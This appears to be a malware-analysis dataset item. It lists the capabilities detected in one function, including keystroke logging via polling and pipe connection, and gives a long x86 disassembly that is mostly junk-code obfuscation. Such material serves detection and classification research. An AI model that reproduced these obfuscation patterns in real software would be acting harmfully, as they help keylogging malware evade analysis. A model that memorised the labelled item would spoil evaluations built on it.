Function at 0x10040629
Capabilities:
Connect pipe
Extract resource via kernel32 functions
Get common file path
Get memory capacity
Log keystrokes via polling
Query environment variable
Terminate process

Disassembly:
mov eax, 0x10072e15
call fcn.100718f8
mov eax, 0x1197c
call fcn.1006d7d0
mov dword [ebp - 0x24], 0x1e559696
mov dword [ebp - 0x34], 0x398070a
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x18], 0x95ae
push ebx
xor ebx, ebx
mov byte [ebp - 0x71], dl
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push esi
mov dword [ebp - 0x28], eax
push edi
mov dword [ebp - 0x60], ecx
cmp dword [ebp - 0x24], ebx
jne 0x10040690
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov edi, 0xfc71010f
xor eax, eax
inc eax
cmp dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
push 3
setl dl
add edx, dword [ebp - 0x28]
pop esi
cmp edx, 0xbefcdf11
jb 0x100406cc
mov dword [ebp - 0x1c], 0xa3c9
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
jmp 0x1004084a
push esi
lea ecx, [ebp - 0x330]
call fcn.100105fb
mov dword [ebp - 0x4c], 0x8fbfc75d
mov dword [ebp - 0x20], ebx
jmp 0x100406f7
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x330]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100406e4
mov dword [ebp - 0x2c], 2
cmp dword [ebp - 0x2c], ebx
jl 0x1004073f
mov dword [ebp - 0x24], ebx
jmp 0x10040734
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], bl
je 0x10040731
push 0x12bd
push ebx
push 0x89f
push ebx
push 0x22d3
push 0xb8a
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x1004070d
dec dword [ebp - 0x2c]
jns 0x10040708
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x330]
shl ecx, 2
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x4c]
sub edx, ecx
inc edx
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, eax
setne bl
imul ebx, dword [ebp - 0x4c]
sub ebx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setl bl
xor ecx, ecx
cmp ebx, eax
setl cl
xor ebx, ebx
cmp dword [ebp - 0x28], ecx
jle 0x100407c5
mov dword [ebp - 0x1c], ebx
push 0xa
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x4c], ebx
pop eax
jmp 0x100407be
cmp dword [ebp - 0x1c], ebx
jne 0x1004083f
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], eax
jge 0x100407b2
jmp 0x1004083f
mov dword [ebp - 0x40], 0xba8a7e8b
mov dword [ebp - 0x2c], 0xfffffffb
cmp dword [ebp - 0x2c], 0xfffffffb
jge 0x1004083f
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x34], ebx
jmp 0x1004082d
mov dword [ebp - 0x50], 1
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x330]
mov esi, dword [eax]
sub esi, ecx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x50]
setg dl
xor ecx, ecx
cmp esi, eax
setg cl
xor eax, eax
cmp ecx, edx
setg al
cmp eax, 7
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edi
setne cl
neg ecx
mov dword [ebp - 0x1c], ecx
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffeb
je 0x100407e5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffffb
jl 0x100407d9
push 3
pop esi
lea ecx, [ebp - 0x330]
call fcn.10010c2b
mov dword [ebp - 0x24], 0x1e559696
mov dword [ebp - 0x34], 0x398070a
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x18], 0x95ae
mov dword [ebp - 0x4c], ebx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x24], ebx
jne 0x10040892
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x28], 1
mov eax, dword [ebp - 0x18]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x28]
cmp edx, 0xbefcdf11
jb 0x100408c4
mov dword [ebp - 0x1c], 0xa3c9
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
jmp 0x100409c3
push esi
lea ecx, [ebp - 0x3d8]
call fcn.100105fb
mov dword [ebp - 0x2c], 0x8fbfc75d
mov dword [ebp - 0x20], ebx
jmp 0x100408ef
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3d8]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100408dc
mov dword [ebp - 0x4c], 2
cmp dword [ebp - 0x4c], ebx
jl 0x10040938
mov dword [ebp - 0x24], ebx
jmp 0x1004092d
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x1004092a
push 0x12bd
push ebx
push 0x89f
push ebx
push 0x22d3
push 0xb8a
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x10040905
dec dword [ebp - 0x4c]
jns 0x10040900
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3d8]
shl ecx, 2
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x2c]
sub edx, ecx
inc edx
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, eax
setne bl
imul ebx, dword [ebp - 0x2c]
sub ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setl bl
xor ecx, ecx
cmp ebx, eax
setl cl
xor ebx, ebx
cmp dword [ebp - 0x28], ecx
jle 0x100409ff
mov dword [ebp - 0x1c], ebx
push 0xa
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], ebx
pop eax
jmp 0x100409b3
cmp dword [ebp - 0x1c], ebx
jne 0x100409b8
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jge 0x100409ab
lea ecx, [ebp - 0x3d8]
call fcn.10010c2b
mov dword [ebp - 0x2c], 0x99841b3c
xor ecx, ecx
mov dword [ebp - 0x38], 0x9611ca4b
inc ecx
mov dword [ebp - 0x44], 0xbe99b96b
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x44], 0x2e0c
mov dword [ebp - 0x44], 0xade45a91
mov dword [ebp - 0x44], 0xfffffff8
mov dword [ebp - 0x20], ebx
jmp 0x10040a83
mov dword [ebp - 0x40], 0xba8a7e8b
mov dword [ebp - 0x4c], 0xfffffffb
cmp dword [ebp - 0x4c], 0xfffffffb
jge 0x100409b8
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x34], ebx
jmp 0x10040a67
mov dword [ebp - 0x50], 1
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3d8]
mov esi, dword [eax]
sub esi, ecx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x50]
setg dl
xor ecx, ecx
cmp esi, eax
setg cl
xor eax, eax
cmp ecx, edx
setg al
cmp eax, 7
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edi
setne cl
neg ecx
mov dword [ebp - 0x1c], ecx
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffeb
je 0x10040a1f
inc dword [ebp - 0x4c]
jmp 0x10040a0d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x684], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10040a72
push 0xfffffffffffffff7
pop esi
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], 0xffffffe8
push 3
pop edi
jl 0x10040b76
mov dword [ebp - 0x18], 0xaa29c146
mov dword [ebp - 0x20], ebx
jmp 0x10040ab8
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x868], 0xcd538770
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10040aa7
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg bl
add eax, 0x4b7c8e78
xor ecx, ecx
cmp eax, ebx
setg cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x18]
jge 0x10040b5a
cmp dword [ebp - 0x18], ebx
je 0x10040b5a
mov dword [ebp - 0x10], 0x65c829e
cmp dword [ebp - 0x10], ebx
jne 0x10040b13
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x18], ebx
jne 0x10040b0e
cmp dword [ebp - 0x2c], ebx
je 0x10040b13
xor ecx, ecx
inc ecx
jmp 0x10040b15
mov ecx, ebx
xor eax, eax
cmp ecx, 0x5cab
setl al
xor ecx, ecx
cmp eax, 6
mov eax, dword [ebp - 0x2c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x864], eax
jmp 0x10040b66
mov dword [ebp - 0x1c], 0xfffa
inc dword [ebp - 0x1c]
jne 0x10040b73
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe8
jge 0x10040a9b
xor ecx, ecx
inc ecx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x1c], 0x2362
cmp dword [ebp - 0x1c], 0x6f7
jge 0x10040c13
mov byte [0x117fa700], cl
mov byte [0x117fa701], cl
call fcn.1004025e
jmp 0x10040bf6
mov eax, dword [ebp - 0x108]
test eax, eax
je 0x10040c13
cmp byte [eax + 0x117fa700], 0
jne 0x10040bb6
push ebx
jmp 0x10040be5
push dword [0x119e3298]
mov esi, dword [0x119e3294]
lea edx, [ebp - 0x108]
push esi
lea ecx, [ebp - 0x694]
call fcn.10037911
pop ecx
pop ecx
mov ecx, dword [eax]
sub ecx, esi
sar ecx, 2
mov eax, dword [esi + ecx*4]
sub eax, dword [esi + ecx*4 - 4]
push eax
mov ecx, 0x106655b8
call fcn.100362e2
push eax
call fcn.10013e5a
pop ecx
lea eax, [ebp - 0x108]
mov ecx, 0x10665668
push eax
call fcn.100102eb
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x10040ba0
mov dword [ebp - 0x2c], 0xa2c7
lea ecx, [ebp - 0x520]
push 1
call fcn.100105fb
mov dword [ebp - 0x1c], 0xb2d3650d
xor edx, edx
mov dword [ebp - 0x1c], edi
inc edx
mov dword [ebp - 0x1c], 0xae65c342
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x1c], 0x4322e7c6
mov dword [ebp - 0x20], ebx
jmp 0x10040c59
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x520]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10040c4a
imul ecx, dword [ebp - 0x2c], 0x1e60
xor ebx, ebx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setg bl
xor edx, edx
add ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp ebx, eax
mov eax, dword [ebp - 0x2c]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
xor ebx, ebx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x2c]
jg 0x10040c9d
cmp dword [ebp - 0x2c], ebx
je 0x10040c9d
xor ecx, ecx
inc ecx
jmp 0x10040c9f
mov ecx, ebx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x520]
mov dword [eax], edx
xor eax, eax
cmp ecx, 0x4743
sete al
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setge cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp eax, 1
setle cl
imul eax, ecx, 0x80d3
lea ecx, [ebp - 0x520]
sub eax, 0xe29a
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
call fcn.10010c2b
mov dword [ebp - 0x24], 0xb3ae3556
lea ecx, [ebp - 0x550]
mov dword [ebp - 0x18], 2
push edi
call fcn.100105fb
mov dword [ebp - 4], ebx
mov esi, 0x1000b238
mov dword [ebp - 0x34], 0xfffffffa
mov dword [ebp - 0x38], 0xc50133ec
mov dword [ebp - 0x1c], 0x1c6c
cmp dword [ebp - 0x1c], 0x631
jge 0x10040dd8
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x18c]
push eax
push 0x1000b218
call fcn.100578db
mov ecx, dword [ebp - 0x198]
add esp, 0xc
mov edi, dword [ebp - 0x18c]
cmp ecx, edi
jle 0x10040d7e
mov eax, ecx
mov ecx, edi
mov edi, eax
mov dword [ebp - 0x198], ecx
mov dword [ebp - 0x18c], edi
cmp ecx, 1
je 0x10040dcc
cmp ecx, 2
jne 0x10040dc0
mov ecx, edi
and ecx, 0x80000003
jns 0x10040d97
dec ecx
or ecx, 0xfffffffc
inc ecx
push 2
pop esi
push 3
cmp ecx, esi
mov eax, edi
cdq
cmovl esi, ecx
pop edi
and edx, edi
add eax, edx
sar eax, 2
lea eax, [esi + eax*2]
add eax, eax
push eax
push 0x1000b238
call fcn.10057af6
pop ecx
pop ecx
jmp 0x10040dd8
imul edi, ecx
mov eax, edi
cdq
sub eax, edx
sar eax, 1
sub edi, eax
push edi
push esi
call fcn.10057af6
pop ecx
pop ecx
push 3
pop edi
push 2
lea ecx, [ebp - 0x538]
call fcn.100105fb
xor edx, edx
push 7
inc edx
mov byte [ebp - 4], dl
pop eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x2c], ebx
jmp 0x10040e0c
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x550]
mov dword [eax + ecx*4], 0xdd5c0aec
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x10040df9
mov dword [ebp - 0x2c], ebx
jmp 0x10040e29
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x538]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10040e16
mov dword [ebp - 0x24], 0xfffffff9
mov esi, 0xffff
cmp dword [ebp - 0x24], 0xfffffff2
je 0x1004107b
jmp 0x10040e4a
xor edx, edx
inc edx
mov dword [ebp - 0x2c], 0xe4562513
xor ecx, ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x28], 0x17c7747b
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x10], 6
mov dword [ebp - 0x20], 0x163e
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], 0x260e
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x18], ebx
je 0x10041055
push 2
lea ecx, [ebp - 0x3f0]
call fcn.100105fb
lea ecx, [ebp - 0x778]
mov byte [ebp - 4], 2
movdqa xmm0, xmmword [0x1000b8f0]
lea eax, [ebp - 0x768]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x454]
movdqu xmmword [ebp - 0x778], xmm0
call fcn.10010657
mov dword [ebp - 0x1c], 8
push 2
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x20], ebx
pop edx
jmp 0x10040f17
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3f0]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10040f07
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], ebx
jl 0x10040f4b
mov dword [ebp - 0x44], 0x29b4ccc4
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x10040f43
push 0x41d
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
inc dword [ebp - 0x1c]
dec dword [ebp - 0x18]
jns 0x10040f24
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x550]
add ecx, dword [eax]
mov eax, dword [ebp - 0x3f0]
cmp dword [eax + 4], ecx
mov eax, dword [ebp - 0x454]
setne dl
xor ecx, ecx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x28]
setle cl
xor edx, edx
cmp eax, ecx
mov ecx, dword [ebp - 0x454]
setne dl
xor ebx, ebx
cmp edx, dword [ecx + 0xc]
setne bl
xor eax, eax
cmp ebx, dword [ecx]
setge al
cmp eax, esi
mov eax, dword [ebp - 0x18]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
neg ecx
cmp ecx, 0xc4ee8fa1
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x3f0]
setl cl
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], esi
mov edx, dword [eax]
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
setle cl
add ecx, edx
imul ecx, dword [ebp - 0x30]
mov dword [ebp - 0x30], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x30]
inc ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
xor ebx, ebx
neg eax
cmp eax, dword [ebp - 0x28]
jne 0x1004100c
mov edx, ebx
cmp dword [ebp - 0x30], ebx
je 0x1004100e
mov edx, ecx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], 0xf8c3
imul eax, dword [ebp - 0x20], 0xfffc
test eax, eax
je 0x10041030
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x454]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x34], eax
call fcn.10010c2b
lea ecx, [ebp - 0x3f0]
mov byte [ebp - 4], 1
call fcn.10010c2b
jmp 0x1004106e
mov dword [ebp - 0x1c], 0xa700
mov dword [ebp - 0x40], 0xa3775ed1
mov eax, dword [ebp - 0x1c]
sub eax, 0xf4d9
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff2
jne 0x10040e47
mov eax, dword [ebp - 0x538]
mov eax, dword [eax + 4]
neg eax
je 0x1004108b
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x538]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x34], eax
call fcn.10010c2b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x550]
call fcn.10010c2b
mov dword [ebp - 0x18], 0x1e559696
lea ecx, [ebp - 0x568]
push 4
call fcn.100105fb
mov dword [ebp - 0x1c], 5
mov dword [ebp - 0x20], ebx
jmp 0x100410e7
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x568]
mov dword [eax + ecx*4], 0x2c70
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x100410d4
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x10041102
push ebx
push 0xb3d
call dword [sym.imp.USER32.dll_MapDialogRect]
mov eax, dword [ebp - 0x568]
lea ecx, [ebp - 0x568]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
call fcn.10010c2b
mov dword [ebp - 0x34], 0x398070a
lea ecx, [ebp - 0x580]
mov dword [ebp - 0x50], 0x1a36
mov dword [ebp - 0x1c], ebx
push 2
call fcn.100105fb
mov dword [ebp - 4], edi
mov dword [ebp - 0x30], 0x7f759609
mov dword [ebp - 0x28], 0x8ce3
mov dword [ebp - 0x24], 0xfffe
mov dword [ebp - 0x1c], 0xfffffff9
mov dword [ebp - 0x38], 0xfffffff8
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x1c], 0x55298a7b
mov dword [ebp - 0x20], ebx
jmp 0x10041183
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x580]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10041170
dec dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x13
cmp dword [ebp - 0x28], 0xfffffff7
jge 0x100412b0
mov esi, dword [ebp - 0x580]
push edi
lea ecx, [ebp - 0x408]
call fcn.100105fb
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x10], 0x26529694
mov dword [ebp - 0x2c], ebx
jmp 0x100411cf
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1e0], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x100411c2
mov dword [ebp - 0x2c], ebx
jmp 0x100411ed
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x408]
mov dword [eax + ecx*4], 0x815f8425
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x100411da
mov eax, dword [ebp - 0x1dc]
xor edx, edx
mov eax, dword [ebp - 0x30]
inc edx
mov eax, dword [ebp - 0x408]
push 0
pop ecx
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x408]
sets cl
mov dword [eax + 8], ecx
mov eax, dword [eax]
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1dc]
neg ecx
sbb ecx, ecx
xor ebx, ebx
neg ecx
add ecx, eax
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl bl
sub ebx, 0xf76e
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x30]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x24]
jne 0x10041293
cmp dword [ebp - 0x50], ebx
je 0x10041293
xor eax, eax
inc eax
jmp 0x10041295
mov eax, ebx
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x408]
call fcn.10010c2b
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff7
jl 0x100411a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x580]
call fcn.10010c2b
mov dword [ebp - 0x20], 9
xor ecx, ecx
mov dword [ebp - 0x10], 0x95ae
inc ecx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x2c], ebx
jmp 0x100412e9
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x64], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x100412df
mov dword [ebp - 0x2c], ebx
jmp 0x10041300
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x10c], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x100412f3
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
imul edx, eax
mov eax, dword [ebp - 0x64]
cmp edx, eax
mov eax, 0xfe64
setne cl
sub eax, ecx
je 0x10041327
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
xor edx, edx
mov eax, dword [ebp - 0x64]
cmp ecx, eax
mov eax, dword [ebp - 0x64]
setle dl
shl edx, 2
dec edx
neg edx
push 0x29
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x64]
pop esi
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x64]
setne dl
neg edx
cmp edx, eax
jl 0x100413c0
mov dword [ebp - 0x34], 0x18
jmp 0x1004137f
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x1004137c
push 1
push 0x169d
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jge 0x10041366
mov dword [ebp - 0x34], ebx
jmp 0x100413b6
mov dword [ebp - 0x1c], 0x5132d7af
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x100413aa
push 0x2045
push 0xf00
push ebx
call dword [sym.imp.USER32.dll_CheckMenuItem]
cmp dword [ebp - 0x1c], ebx
jne 0x10041459
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jge 0x10041389
jmp 0x10041459
mov dword [ebp - 0x28], 0x2633933b
mov dword [ebp - 0x20], ebx
jmp 0x100413dd
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x6c8], 0x59515ed7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100413cc
xor edx, edx
inc edx
mov dword [ebp - 0x10c], edx
imul eax, dword [ebp - 0x64], 0xfffffffd
test eax, eax
jne 0x100413f7
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x28], ebx
je 0x10041415
mov eax, edx
cmp dword [ebp - 0x10c], ebx
jne 0x10041417
mov eax, ebx
xor ecx, ecx
cmp eax, edx
sete cl
imul ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x64]
neg ecx
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x64]
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x64]
setge cl
imul eax, ecx
sub eax, 0x74ca7790
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
